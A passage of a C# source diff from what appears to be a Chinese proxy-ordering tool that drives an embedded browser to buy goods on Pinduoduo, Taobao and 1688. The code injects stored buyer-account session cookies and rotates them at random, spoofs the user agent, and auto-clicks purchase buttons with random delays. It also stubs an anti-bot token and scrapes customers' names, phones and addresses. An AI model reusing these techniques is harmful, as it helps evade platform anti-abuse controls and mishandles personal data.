(GlobalConfig.SystemSettings.IsUseMultiBuyer && GlobalConfig.LstMultiBuyer != null) + { + btnChangeMultiBuyer.Visible = true; + + multiUserCookie = null; + List userCookies = GlobalConfig.LstMultiBuyer.FindAll(x => x.times > 0); + if (userCookies.Count > 0) + { + multiUserCookie = userCookies[Randomx.GetId(0, userCookies.Count)]; + } + if (multiUserCookie == null) + { + BaseMsgForm.ShowError("多买手模式调用失败,无法获取买手管理中的买手号", "错误"); + this.Close(); + return; + } + } + else + { + btnChangeMultiBuyer.Visible = false; + } + + // 非拼多多批发拍单 + if (!GlobalConfig.SystemSettings.IsUsePddPifa) + { + if (!string.IsNullOrEmpty(BaseClass.duoduojinbaoURL)) + { + try + { + string duoduoid = BaseRegex.GetMatchRegexString(ref BaseClass.duoduojinbaoURL, "goods_id=([\\s\\S]+?)&"); + webUrl = BaseClass.duoduojinbaoURL.Replace(duoduoid, goodsId.ToString()); + } + catch (Exception) + { + webUrl = webUrl + goodsId; + } + } + else + { + webUrl = webUrl + goodsId; + } + } + else // 拼多多批发拍单 + { + this.Width = 1380; + var area = Screen.GetWorkingArea(this); + this.Location = new Point(area.Width / 2 - 1380 / 2, this.Location.Y); + string urlTemp = "https://pifa.pinduoduo.com/pifa/goods/queryGoodsPropertyInfo"; + string refererTemp = "https://pifa.pinduoduo.com"; + string data = "{\"goodsId\":" + goodsId + "}"; + string htmldetail = AllBase.Helper.HttpHelper.Request_pifa_pinduoduo_com(urlTemp, refererTemp, data, ""); + if (htmldetail.Contains("此商品不存在")) + { + BaseMsgForm.ShowInfo("此商品不存在。请指定同款自定义ID", "提示"); + this.Close(); + return; + } + + pddPifaUser = GlobalConfig.LstPddPifaShop.Find(s => s.PddId == mainform.cmbPddPifaBuyUser.Text || s.PddShopName == mainform.cmbPddPifaBuyUser.Text); + if (pddPifaUser == null) + { + BaseMsgForm.ShowInfo("请指定拼多多批发买手号", "提示"); + this.Close(); + return; + } + + webUrl = "https://pifa.pinduoduo.com/goods/detail/?gid=" + goodsId; + pddPifaCookieList = JsonHelper.DeserializeJsonToList(pddPifaUser.CookiesJson); + var cookieManager = Cef.GetGlobalCookieManager(); + foreach (var cook in pddPifaCookieList) + { + bool status = cookieManager.SetCookie("https://pifa.pinduoduo.com", new Cookie + { + Name = cook.Name, + Value = cook.Value, + }); + } + } + } + + userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + + if (cefWebBrowser1 == null) + { + cefWebBrowser1 = new ChromiumWebBrowser(webUrl); + //requestHandler = new NaiBa.CefHelper.RequestHandler(); + resourceRequestHandler = new Helper.CustomResourceRequestHandler(); + if (!string.IsNullOrEmpty(userAgent)) + { + resourceRequestHandler.UserAgent = userAgent; + } + cefWebBrowser1.RequestHandler = new NaiBa.CefHelper.Handler.CustomRequestHandler(resourceRequestHandler); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser1.FrameLoadStart += CefWebBrowser_FrameLoadStart; + cefWebBrowser1.FrameLoadEnd += cefWebBrowser1_FrameLoadEnd; + cefWebBrowser1.Dock = DockStyle.Fill; + + // cefWebBrowser1.RegisterJsObject("bound", new BoundObject(), BindingOptions.DefaultBinder); // CEF67 + // 注册C#类为JS对象 + //CefSharpSettings.LegacyJavascriptBindingEnabled = true; + CefSharpSettings.WcfEnabled = true; + cefWebBrowser1.JavascriptObjectRepository.Register("bound", new BoundObject(), isAsync: false, options: BindingOptions.DefaultBinder); + + cefWebBrowser1.KeyboardHandler = new CEFKeyBoardHander(); + plBrower.Controls.Add(cefWebBrowser1); + } + else + { + cefWebBrowser1.Load(webUrl); + cefWebBrowser1.Refresh(); + } + + textBoxXGoodPrice.Text = (orderDetail.price).ToString();//商品售价 + buyCountTextBoxX.Text = orderDetail.count.ToString();//购买数量 + txtRemark.Text = orderDetail.remark; + + + #region 更新订单 + shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == orderDetail.shop_id.ToString()); + this.buyOrderListForm.UpdateOrderStatusAndEncrypt(orderDetail); + #endregion + + tbsku.Text = orderDetail.sku; + userNameTextBoxX.Text = bName = orderDetail.name; + mobileTextBoxX.Text = Mobile = orderDetail.mobile; + addressTextBoxX.Text = Address = orderDetail.address; + + if (TransitAddressForm.TransitAddress != null) + { + userNameTextBoxX.Text = bName = TransitAddressForm.TransitAddress.Name; + mobileTextBoxX.Text = Mobile = TransitAddressForm.TransitAddress.Mobile; + addressTextBoxX.Text = Address = TransitAddressForm.TransitAddress.Address + " " + order_id; + } + } + private void RequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData) + { + try + { + if (url.Contains("user_verify") && responseData.Contains("\"result\":true")) + { + BaseClass.verify_auth_token = BaseRegex.GetStringJson(ref postData, "verify_auth_token"); + //new Thread(GetTbOrder).Start(); + } + + } + catch (Exception e) + { + + //throw; + } + } + private void CefWebBrowser_FrameLoadStart(object sender, FrameLoadStartEventArgs e) + { + try + { + if (!string.IsNullOrEmpty(userAgent)) + { + // 使用JavaScript修改UserAgent + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync("navigator.__defineGetter__('userAgent', function(){ return '" + userAgent + "'});navigator.userAgent;"); + } + } + catch (Exception ex) + { + MessageBox.Show("" + ex.Message); + } + + } + + public bool isGetDetail = false;//是否获取过商品详情 + + public string PayAmount = ""; //拍单时支付金额 + public string ProductAmount = ""; //商品价格 + public string buyerName = ""; //买家姓名 + public string buyerMobile = ""; //买家电话 + public string buyerAddress = ""; //买家地址 + public string order_id_buy = ""; //买家订单号 + bool isbuysuccess = false; + private void cefWebBrowser1_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + string url = cefWebBrowser1.Address; + Task.Run(() => + { + try + { + if (UpId.StartsWith("tb-")) + { + new Thread(StopAlertEvent).Start();//禁用alert + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + detailHtml = x.Result; + if (((url.Contains("item.taobao.com/item.htm") || url.Contains("detail.tmall.com/item.htm?id=") || url.Contains("h5.m.taobao.com/awp/core/detail.htm")) && !isGetDetail)) + { + isGetDetail = true; + new Thread(GetTbOrder).Start(); + } + // 支付成功页面 + if (url.Contains("buyertrade.taobao.com/trade/batch_pay_success.htm") + || url.Contains("buyertrade.taobao.com/trade/pay_success.htm") + || url.Contains("buy.tmall.com/order/paySuccess.htm") + || url.Contains("cashiergtj.alipay.com/standard/result/payResult.htm") + || url.Contains("cmspromo.alipay.com/beitoukj/tripSpinLot.htm") + || url.Contains("cashierem14.alipay.com/standard/result/payResult.htm") + || url.Contains("market.m.taobao.com/apps/market/trade/success.html")) + { + if (!isbuysuccess) + { + isbuysuccess = true; + order_id_buy = HttpUtility.GetQueryString("order_sn", url); + if (string.IsNullOrEmpty(order_id_buy)) + { + order_id_buy = HttpUtility.GetQueryString("bizOrderId", url); + } + if (string.IsNullOrEmpty(order_id_buy)) + { + order_id_buy = HttpUtility.GetQueryString("orderIds", url); + } + if (string.IsNullOrEmpty(order_id_buy)) + { + order_id_buy = HttpUtility.GetQueryString("biz_order_id", url); + } + + if (string.IsNullOrEmpty(order_id_buy)) + { + string html = GetCefHtml(cefWebBrowser1); + order_id_buy = BaseRegex.GetMatchRegexString(ref html, "biz_order_id=([\\d]+)"); + if (string.IsNullOrEmpty(order_id_buy)) + { + order_id_buy = BaseRegex.GetMatchRegexString(ref html, "&bizOrderId=([\\s\\S]+?)&"); + } + if (string.IsNullOrEmpty(order_id_buy)) + { + order_id_buy = BaseRegex.GetMatchRegexString(ref html, "&orderIds=([\\s\\S]+?)&"); + } + if (string.IsNullOrEmpty(order_id_buy)) + { + order_id_buy = BaseRegex.GetMatchRegexString(ref html, "pay_success.htm\\?biz_order_id=([\\s\\S]+?)¬ify_id"); + } + } + + PayAmount = tbproductjj.Text; + new Thread(UpdateToServer).Start(); + + if (!string.IsNullOrEmpty(order_id_buy)) + { + BaseMsgForm.ShowInfo("拍单成功", "拍单成功"); + this.Close(); + } + else + { + BaseMsgForm.ShowInfo("拍单成功,但拍单订单号抓取失败,请手动编辑拍单订单号!", "拍单成功"); + Invoke(new Action(() => { pnlManualSaveBuyOrderId.Visible = true; })); + } + } + } + + #region 测试 + + + //if (url.Contains("yangkeduo.com/order_checkout.htm"))//获取收货人的姓名,电话,地址 + //{ + // var Profitx = BaseRegex.GetMatchRegexString(detailHtml, "实付款[\\S\\s]+?¥([\\s\\S]+?)"); + // buyerName = BaseRegex.GetMatchRegexString(ref detailHtml, "([\\s\\S]+)"); + // if (string.IsNullOrEmpty(buyerName)) + // { + // buyerName = BaseRegex.GetStringJson(ref detailHtml, "name"); + // } + // buyerMobile = BaseRegex.GetMatchRegexString(ref detailHtml, "([\\s\\S]+)
"); + // if (string.IsNullOrEmpty(buyerMobile)) + // { + // buyerMobile = BaseRegex.GetStringJson(ref detailHtml, "mobile"); + // } + // buyerAddress = BaseRegex.GetMatchRegexString(ref detailHtml, "
([\\S\\s]+)
"); + // string province = ""; + // string city = ""; + // string district = ""; + // string address = ""; + // if (string.IsNullOrEmpty(buyerAddress)) + // { + // province = BaseRegex.GetStringJson(ref detailHtml, "province"); + // city = BaseRegex.GetStringJson(ref detailHtml, "city"); + // district = BaseRegex.GetStringJson(ref detailHtml, "district"); + // address = BaseRegex.GetStringJson(ref detailHtml, "address"); + // ProductAmount = textBoxXGoodPrice.Text.Trim(); + // buyerAddress = province + city + district + address; + // } + // if (!string.IsNullOrEmpty(buyerAddress)) + // { + // buyerAddress = buyerAddress.Replace("", "").Replace(" ", ""); + // } + // //检查现拍单的订单收货人信息是否正确,防止拍单的时候收货人信息错误。 + // if (!string.IsNullOrEmpty(province) && !orderDetail.address.Contains(province.Substring(0, 2)) + // || !string.IsNullOrEmpty(city) && !orderDetail.address.Contains(city) + // || !string.IsNullOrEmpty(district) && !orderDetail.address.Contains(district))//|| !string.IsNullOrEmpty(buyerMobile) && Order.mobile != buyerMobile + // { + // if (InvokeRequired) + // { + // Invoke(new Action(() => + // { + // BaseMsgForm.ShowInfo("请检查收货人地址是否匹配?若匹配,请忽略", "提示"); + // })); + // } + // else + // { + // BaseMsgForm.ShowInfo("请检查收货人地址是否匹配?若匹配,请忽略", "提示"); + // } + // } + //} + + + //商品加载完成 + //if ((url.Contains("yangkeduo.com/goods.html?goods_id=") || url.Contains("mobile.yangkeduo.com/muti_coupon_rec.html")) && !isGetDetail) + //{ + + // if (!string.IsNullOrEmpty(detailHtml) && !isGetDetail)// && (detailHtml.Contains("groupOrderID") || detailHtml.Contains("groupID")) + // { + // if ((detailHtml.Contains("groupOrderID") || detailHtml.Contains("groupID"))) + // { + // isGetDetail = true; + // detailHtml = GetHtml.UrlDecode(detailHtml); + // new Thread(GetOrder).Start(); + // } + // } + //} + //else if (url.Contains("yangkeduo.com/duo_group.html") + // || url.Contains("yangkeduo.com/order.html") //|| url.Contains("yangkeduo.com/group") + // || url.Contains("yangkeduo.com/alipay_callback.html") + // || url.Contains("yangkeduo.com/transac_wappay_callback.html"))//拍单成功 + //{ + // order_id_buy = HttpUtility.GetQueryString("order_sn", url); + // PayAmount = tbproductjj.Text; + // new Thread(UpdateToServer).Start(); + // MessageBox.Show("拍单成功"); + // ////Order.status = "拍单成功"; + // //new Thread(ShowMessagex).Start(); + //} + + #endregion + }); + } + else if (UpId.StartsWith("pd-") || UpId.StartsWith("pdd-")) + { + cefWebBrowser1.GetSourceAsync().ContinueWith(t => + { + detailHtml = t.Result; + if (t.Result != null && t.Result.Contains("一键领取")) + { + Thread.Sleep(Randomx.GetId(150, 250)); + var jsCode = + clickJsElementStr + + "function pressToBuy() { " + + " var btn = getElement('一键领取');" + + " if (btn) { btn.click(); }" + + "}" + + "pressToBuy();"; + cefWebBrowser1.GetMainFrame().ExecuteJavaScriptAsync(jsCode); + } + else if (t.Result != null && t.Result.Contains("一键购买")) + { + Thread.Sleep(Randomx.GetId(150, 250)); + var jsCode = + clickJsElementStr + + "function pressToBuy() { " + + " var btn = getElement('一键购买');" + + " if (btn) { btn.click(); }" + + "}" + + "pressToBuy();"; + cefWebBrowser1.GetMainFrame().ExecuteJavaScriptAsync(jsCode); + } + if (url.Contains("yangkeduo.com/order_checkout.htm"))//获取收货人的姓名,电话,地址 + { + var Profitx = BaseRegex.GetMatchRegexString(detailHtml, "实付款[\\S\\s]+?¥([\\s\\S]+?)"); + buyerName = BaseRegex.GetMatchRegexString(ref detailHtml, "([\\s\\S]+)"); + if (string.IsNullOrEmpty(buyerName)) + { + buyerName = BaseRegex.GetStringJson(ref detailHtml, "name"); + } + buyerMobile = BaseRegex.GetMatchRegexString(ref detailHtml, "([\\s\\S]+)
"); + if (string.IsNullOrEmpty(buyerMobile)) + { + buyerMobile = BaseRegex.GetStringJson(ref detailHtml, "mobile"); + } + buyerAddress = BaseRegex.GetMatchRegexString(ref detailHtml, "
([\\S\\s]+)
"); + string province = ""; + string city = ""; + string district = ""; + string address = ""; + + string jinjia = BaseRegex.GetStringJson(ref detailHtml, "orderAmount"); + if (!string.IsNullOrEmpty(jinjia)) + { + Invoke(new Action(() => + { + try + { + tbproductjj.Text = (Convert.ToInt32(jinjia) * 0.01).ToString(); + + textBoxXProfit.Text = (Convert.ToDouble(textBoxXGoodPrice.Text.Replace(" ", "")) - Convert.ToDouble(tbproductjj.Text.Replace(" ", ""))).ToString(); + } + catch (Exception ex) + { + } + })); + } + if (string.IsNullOrEmpty(buyerAddress)) + { + province = BaseRegex.GetStringJson(ref detailHtml, "province"); + city = BaseRegex.GetStringJson(ref detailHtml, "city"); + district = BaseRegex.GetStringJson(ref detailHtml, "district"); + address = BaseRegex.GetStringJson(ref detailHtml, "address"); + ProductAmount = (textBoxXGoodPrice.Text.Trim().ParseToDecimal() * 100).ToString(); // 服务端修改价格时会 * 0.01。 + buyerAddress = province + city + district + address; + } + + if (!string.IsNullOrEmpty(buyerAddress)) + { + Invoke(new Action(() => + { + buyerAddress = buyerAddress.Replace("", "").Replace(" ", ""); + + })); + } + //检查现拍单的订单收货人信息是否正确,防止拍单的时候收货人信息错误。 + if (!string.IsNullOrEmpty(province) && !orderDetail.address.Contains(province.Substring(0, 2)) + || !string.IsNullOrEmpty(city) && !orderDetail.address.Contains(city) + || !string.IsNullOrEmpty(district) && !orderDetail.address.Contains(district))//|| !string.IsNullOrEmpty(buyerMobile) && Order.mobile != buyerMobile + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("请检查收货人地址是否匹配?若匹配,请忽略", "提示"); + })); + } + else + { + BaseMsgForm.ShowInfo("请检查收货人地址是否匹配?若匹配,请忽略", "提示"); + } + } + } + + #region 拼多多批发拍单页面及拍单完成逻辑 + if (url.Contains("pifa.pinduoduo.com/goods/detail/?gid=") && !isGetDetail) + { + if (!string.IsNullOrEmpty(detailHtml) && !isGetDetail) + { + isGetDetail = true; + Thread.Sleep(3000); + new Thread(GetOrderPddPifa).Start(); + } + } + //if (url.Contains("cashier.pinduoduo.com/main/fast-pay")) + //{ + // Task.Run(() => + // { + // string clickjs = "document.querySelectorAll('button').forEach((item)=>{if(item.outerText=='立即跳转'){item.click();}})"; + // cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(clickjs); + // // clickjs = "document.querySelectorAll('button').forEach((item)=>{if(item.outerText=='返回'){item.click();}})"; + // //Browser.GetBrowser().MainFrame.ExecuteJavaScriptAsync(clickjs); + // }); + //} + + //拼多多批发支付完成获取支付结果 + if (url.Contains("pifa.pinduoduo.com/order")) + { + Task.Run(() => + { + Invoke((Action)(() => + { + BuyOrderPifaSelectForm pifaSelectForm = new BuyOrderPifaSelectForm(); + pifaSelectForm.cookies = pddPifaCookies; + pifaSelectForm.sku = SkuLite; + //piFaVerify.Closed += PiFaVerify_Closed; + //piFaVerify.btsaveorder.Click += Btsaveorder_Click; + pifaSelectForm.ShowDialog(); + + if (!string.IsNullOrEmpty(pifaSelectForm.order_sn)) + { + order_id_buy = HttpUtility.GetQueryString("order_sn", url); + order_id_buy = pifaSelectForm.order_sn; + PayAmount = pifaSelectForm.pay_amount.ToString(); + new Thread(UpdateToServer).Start(); + isbuysuccess = true; + BaseMsgForm.ShowInfo("拍单成功", "拍单成功"); + this.Close(); + } + })); + }); + } + #endregion + + #region 多账号拍单逻辑 切换买手 + + if (GlobalConfig.SystemSettings.IsUseMultiBuyer && !changeuser && url.Contains("yangkeduo.com/order_checkout.html")) + { + changeuser = true; + var html = t.Result; + //https://mobile.yangkeduo.com/order_checkout.html?_oc_rank_id=6771010201&sku_id=1201923029944&group_id=50701136492&goods_id=233758780277&goods_number=1&page_from=0&refer_page_element=single_buy&source_channel=0&refer_page_name=goods_detail&refer_page_id=10014_1661482338012_9oizjt40xu&refer_page_sn=10014 + string group_id = BaseRegex.GetURLParams(url, "group_id"); + string mall_id = BaseRegex.GetStringJson(ref html, "mall_id"); + string goods_id = BaseRegex.GetURLParams(url, "goods_id"); + string sku_id = BaseRegex.GetURLParams(url, "sku_id"); + string price = BaseRegex.GetIntJson(ref html, "goodsAmount").ToString(); + string shop_discount = BaseRegex.GetStringJson(ref html, "shop_discount"); + string create_order_token = BaseRegex.GetStringJson(ref html, "create_order_token"); + string create_order_msg = BaseRegex.GetStringJson(ref html, "create_order_msg"); + string rank_id = BaseRegex.GetStringJson(ref html, "rank_id"); + string page_from = BaseRegex.GetStringJson(ref html, "page_from"); + string biz_type = BaseRegex.GetStringJson(ref html, "biz_type"); + string promotion_type = BaseRegex.GetStringJson(ref html, "promotion_type"); + string promotion_id = BaseRegex.GetStringJson(ref html, "promotion_id"); + string sku_ids = BaseRegex.MidStrEx(html, "\"sku_ids\":", ",\""); + string biz_sn = BaseRegex.GetStringJson(ref html, "biz_sn"); + string discount_amount = BaseRegex.GetStringJson(ref html, "discount_amount"); + //https://mobile.yangkeduo.com/proxy/api/api/germany/consult_merchant_promotion?pdduid=4191813477420 + //string datajsons = "{\"anti_content\":\"0aoanti_content\",\"front_supports\":{\"prom\":[\"mctpi\",\"pctpi\",\"gp\",\"rpchs\",\"brandvip\",\"gbc\",\"uupc\"],\"pay\":[\"wxc\",\"ci\",\"cicn\"],\"fulf\":[\"safs\",\"ct\"]},\"address_id\":0,\"group_id\":" + group_id + ",\"group_order_id\":\"\",\"mall_id\":" + mall_id + ",\"merchant_tag\":5,\"promotion_status\":1," + + //"\"cell_type\":0,\"goods_info\":{\"goods_id\":\""+ goods_id + "\",\"sku_id\":"+ sku_id + ",\"number\":1,\"sku_limit\":999999,\"price\":"+ price + "," + + //"\"cat_id\":17399,\"cat_id1\":17285,\"cat_id2\":17297,\"cat_id3\":17399,\"goods_type\":1,\"event_type\":0,\"activity_type\":null,\"oversea_type\":0," + + //"\"activity_id\":null},\"promotion_identity_vos\":[{\"promotion_type\":22,\"sku_ids\":[1201923029944],\"extension\":{\"shop_discount\":\"500\",\"mall_id\":\"439123\"},\"mall_id\":439123}]}"; + //.yangkeduo.com/order_checkout.html + datajsons = "{\"anti_content\":\"0aoanti_content\",\"front_supports\":{\"prom\":[\"mctpi\",\"pctpi\",\"gp\",\"rpchs\",\"brandvip\",\"gbc\",\"uupc\"],\"pay\":[\"wxc\",\"ci\",\"cicn\"],\"fulf\":[\"safs\",\"ct\"]}," + + "\"address_id\":0,\"group_id\":" + group_id + ",\"group_order_id\":\"\",\"mall_id\":" + mall_id + ",\"merchant_tag\":5,\"promotion_status\":1,\"cell_type\":0," + + "\"goods_info\":{\"goods_id\":\"" + goods_id + "\",\"sku_id\":" + sku_id + ",\"number\":1,\"sku_limit\":999999,\"price\":" + price + "," + + "\"goods_type\":1,\"event_type\":0,\"activity_type\":null,\"oversea_type\":0,\"activity_id\":null},\"extend_map\":{\"create_order_token\":\"" + create_order_token + "\"," + + "\"create_order_msg\":\"" + create_order_msg + "\",\"rank_id\":\"" + rank_id + "\",\"page_from\":" + /*page_from*/"36" + ",\"biz_type\":" + biz_type + ",\"original_front_env\":0,\"current_front_env\":1," + + "\"lite_contract_code\":null,\"use_v2_gray\":1},\"promotion_identity_vos\":[{\"promotion_type\":" + promotion_type + ",\"promotion_id\":\"" + promotion_id + "\"," + + "\"sku_ids\":[" + sku_id + "],\"extension\":{\"shop_discount\":\"" + shop_discount + "\",\"mall_id\":\"" + mall_id + "\"},\"mall_id\":" + mall_id + "}]}"; + + change_pddbuyuser(url, this.datajsons); + } + #endregion + + // 拼多多商品加载完成 + if ((url.Contains("yangkeduo.com/goods.html?goods_id=") || url.Contains("mobile.yangkeduo.com/muti_coupon_rec.html")) && !isGetDetail) + { + if (!string.IsNullOrEmpty(detailHtml) && !isGetDetail)// && (detailHtml.Contains("groupOrderID") || detailHtml.Contains("groupID")) + { + if ((detailHtml.Contains("groupOrderID") || detailHtml.Contains("groupID"))) + { + isGetDetail = true; + detailHtml = GetHtml.UrlDecode(detailHtml); + new Thread(GetOrderPdd).Start(); + } + } + } + // 拼多多拍单成功 + else if (url.Contains("yangkeduo.com/duo_group.html") + //|| url.Contains("yangkeduo.com/order.html") 商品详情urlhttps://mclient.alipay.com/h5/cashierPay.htm支付完成 + || url.Contains("yangkeduo.com/alipay_callback.html") + || url.Contains("yangkeduo.com/transac_wappay_callback.html"))//拍单成功 + { + if (!isbuysuccess) + { + if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + { + multiUserCookie.times = multiUserCookie.times - 1; + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=update"); + string param = UserLogin.GetSignaturex() + "&pdd_user_id=" + multiUserCookie.pdd_user_id + "×=" + multiUserCookie.times; + string html = GetHtml.PostUtf8(url, param); + } + + order_id_buy = HttpUtility.GetQueryString("order_sn", url); + PayAmount = tbproductjj.Text; + new Thread(UpdateToServer).Start(); + isbuysuccess = true; + BaseMsgForm.ShowInfo("拍单成功", "拍单成功"); + Invoke(new Action(() => + { + this.Close(); + })); + } + } + + //https://mobile.yangkeduo.com/transac_wechat_wapcallback.html?option_json=%7B%22url%22%3A%22order%2Fprepay%22%2C%22orderSn%22%3A%22220614-236738354201552%22%2C%22params%22%3A%7B%22order_sn%22%3A%22220614-236738354201552%22%7D%7D&order_sn=220614-236738354201552&order_amount=118&goods_id=7139438999&refer_page_name=order_checkout&refer_page_id=10004_1655203526853_mjvcf0awbk&refer_page_sn=10004 + //拼多多 微信支付完成 + if (url.Contains("yangkeduo.com/transac_wechat_wapcallback.html") && BaseClass.IsCloudBuyOrder) + { + lock (new object()) + { + //ICookieManager cookieManager = cefWebBrowser1.GetCookieManager(); + //var listcookie = cookieManager.VisitAllCookiesAsync().Result; + //listcookie.RemoveAll(x => x.Name != "pdd_user_id"); + //if (listcookie.Count > 0) + //{ + // pdd_user_id = listcookie[0].Value; + //} + Thread.Sleep(500); + if (!string.IsNullOrEmpty(BaseClass.PddUid) && !wechatpay) + { + wechatpay = true; + string order_sn = BaseRegex.GetURLParams(url, "order_sn"); + string buyerCookie = ""; + if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + { + BaseClass.PddUid = multiUserCookie.pdd_user_id; + buyerCookie = "PDDAccessToken=" + multiUserCookie.cookies + ";"; + } + else + { + buyerCookie = GetPostTaobaoHtml.GetCookies(BaseClass.PddMobileUrl, ""); + } + // {"pay_app_id":38,"version":3,"attribute_fields":{"paid_times":0},"order_sn":"220614-383860151961552","pap_pay":1} + string postdata = " {\"pay_app_id\":38,\"version\":3,\"attribute_fields\":{\"paid_times\":0},\"order_sn\":\"" + order_sn + "\",\"pap_pay\":1}"; + url = BaseClass.PddMobileUrl + "proxy/api/order/prepay?pdduid=" + BaseClass.PddUid; + //string abc = HttpHelper.GetJsonPost("https://mobile.yangkeduo.com/proxy/api/order/prepay?pdduid=" + pdd_user_id, "", true, postdata, buyerCookie); + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, "", true, postdata, false, buyerCookie); + if (!string.IsNullOrEmpty(html)) + { + string murl = BaseRegex.GetStringJson(ref html, "mweb_url"); + string prepayid = BaseRegex.GetStringJson(ref html, "prepayid"); + //https://wx.tenpay.com/cgi-bin/mmpayweb-bin/checkmweb?prepay_id=wx14151714273419304d428adcac45a30000&package=1598889355&refer_page_name=transac_wechat_wapcallback&refer_page_id=10154_1655191035448_0s7pvhfr3d&refer_page_sn=10154 + string paycodeurl = murl + "&refer_page_name=transac_wechat_wapcallback&refer_page_id=10004_1655200470715_uqsu0p46oz&refer_page_sn=10004"; + + //string qrcodehtml = HttpHelper.GetPddUrl(paycodeurl, "https://mobile.yangkeduo.com", paicookie); + string qrcodehtml = GetPostTaobaoHtml.UploadTaobao(paycodeurl, "https://yangkeduo.com", true, buyerCookie); + string qrcodes = BaseRegex.GetMatchRegexString(ref qrcodehtml, "deeplink.+?\"(?weixin://wap/pay.+?)\""); + + Invoke((Action)(() => + { + WechatPaymentForm wp = new WechatPaymentForm(qrcodes, order_sn, buyerCookie); + wp.Closing += (oo, ee) => + { + if (!string.IsNullOrEmpty(order_sn) && (wp.chatStatusPrompt == "待发货" || wp.chatStatusPrompt == "待分享")) + { + // 多拍单次数-1 + if (GlobalConfig.SystemSettings.IsUseMultiBuyer) + { + multiUserCookie.times = multiUserCookie.times - 1; + string url = BaseClass.DouYinBuildObjString("pdd_user_cookies&act=update"); + string param = UserLogin.GetSignaturex() + "&pdd_user_id=" + multiUserCookie.pdd_user_id + "×=" + multiUserCookie.times; + string html = GetHtml.PostUtf8(url, param); + } + order_id_buy = order_sn; + PayAmount = tbproductjj.Text; + new Thread(UpdateToServer).Start(); + isbuysuccess = true; + BaseMsgForm.ShowInfo("拍单成功", "拍单成功"); + if (Created) + Invoke(new Action(() => + { + this.Close(); + })); + } + else if (isbuysuccess == false) + { + //手动设置订单号 转移订单 + BaseMsgForm.ShowInfo("拍单完成,未获得拍单订单号,请手动设置订单号!!!,请手动设置订单号!!!", "提示"); + + //addlog("拍单完成" + Environment.NewLine + "未获得拍单订单号" + Environment.NewLine + "请手动设置订单号!!!", "Red"); + isbuysuccess = false; + } + + string clickjs = "document.querySelectorAll('div').forEach((item)=>{if(item.outerText=='已完成支付'){item.click();}})"; + try + { + cefWebBrowser1.GetBrowser().MainFrame.ExecuteJavaScriptAsync(clickjs); + } + catch { } + }; + wp.TopMost = true; + wp.ShowDialog(); + })); + } + Thread.Sleep(1000); + } + } + } + }); + } + else if (UpId.StartsWith("al-") || UpId.StartsWith("1688-")) + { + new Thread(AddTaoBaoAddress).Start(); + cefWebBrowser1.GetSourceAsync().ContinueWith(x => + { + detailHtml = x.Result; + if (url.Contains("order.1688.com/order/smart_make_order.htm?p=detail")) + { + string jinjia = BaseRegex.GetMatchRegexString(ref detailHtml, "(?\\d+\\.\\d+)"); + buyerAddress = BaseRegex.GetStringInput(ref detailHtml, "_fm.smarta._0.ad"); + buyerMobile = BaseRegex.GetStringInput(ref detailHtml, "_fm.smarta._0.m"); + buyerName = BaseRegex.GetStringInput(ref detailHtml, "_fm.smarta._0.f"); + if (!string.IsNullOrEmpty(jinjia)) + { + Invoke(new Action(() => + { + try + { + tbproductjj.Text = jinjia; + textBoxXProfit.Text = (Convert.ToDouble(textBoxXGoodPrice.Text.Replace(" ", "")) - Convert.ToDouble(tbproductjj.Text.Replace(" ", ""))).ToString(); + } + catch (Exception ex) + { + } + })); + } + } + else if (url.Contains("https://trade.1688.com/order/unify_pay_success.htm") || url.Contains("https://cashiergtj.alipay.com/standard/result/payResult.htm") || url.Contains("cashierem14.alipay.com/standard/result/payResult.htm"))//支付成功页面 + { + if (!isbuysuccess) + { + order_id_buy = HttpUtility.GetQueryString("orderId", url); + PayAmount = tbproductjj.Text; + new Thread(UpdateToServer).Start(); + isbuysuccess = true; + BaseMsgForm.ShowInfo("拍单成功", "拍单成功"); + this.Close(); + } + } + }); + } + } + catch (Exception) + { + + } + }); + } + + #region 初始化地址 + public static void IniAddress() + { + string path = "temp/province"; + if (!Directory.Exists("temp")) + Directory.CreateDirectory("temp"); + if (!Directory.Exists(path)) + Directory.CreateDirectory(path); + + string mainDomain = "yangkeduo.com"; + if (string.IsNullOrEmpty(PddUid)) + { + BaseMsgForm.ShowError("请选择买手号!"); + } + while (string.IsNullOrEmpty(PddUid)) + { + Thread.Sleep(100); + if (BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll[mainDomain].ContainsKey("pdd_user_id")) + PddUid = BaseClass.CookiesAll[mainDomain]["pdd_user_id"]; + } + + string html = GetProvince("1"); + var m = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + ProvinceBase p = new ProvinceBase(); + p.name = BaseRegex.GetStringJson(ref list, "region_name"); + if (CollectionClass.Province.ContainsKey(p.name)) + continue; + p.id = BaseRegex.GetStringJson(ref list, "region_id"); + p.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + html = GetProvince(p.id); + var mm = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int j = 0; mm != null && j < mm.Count; j++) + { + list = mm[j].Groups[0].Value; + ProvinceBase pp = new ProvinceBase(); + pp.name = BaseRegex.GetStringJson(ref list, "region_name"); + pp.id = BaseRegex.GetStringJson(ref list, "region_id"); + pp.parent_id = BaseRegex.GetStringJson(ref list, "parent_id"); + if (p.city.ContainsKey(pp.name)) + continue; + html = GetProvince(pp.id); + var mmm = BaseRegex.GetMatchRegex(ref html, @"\{(.+?)\}"); + for (int k = 0; mmm != null && k < mmm.Count; k++) + { + list = mmm[k].Groups[0].Value; + ProvinceBase ppp = new ProvinceBase(); + ppp.name = BaseRegex.GetStringJson(ref list, "region_name"); + ppp.id = 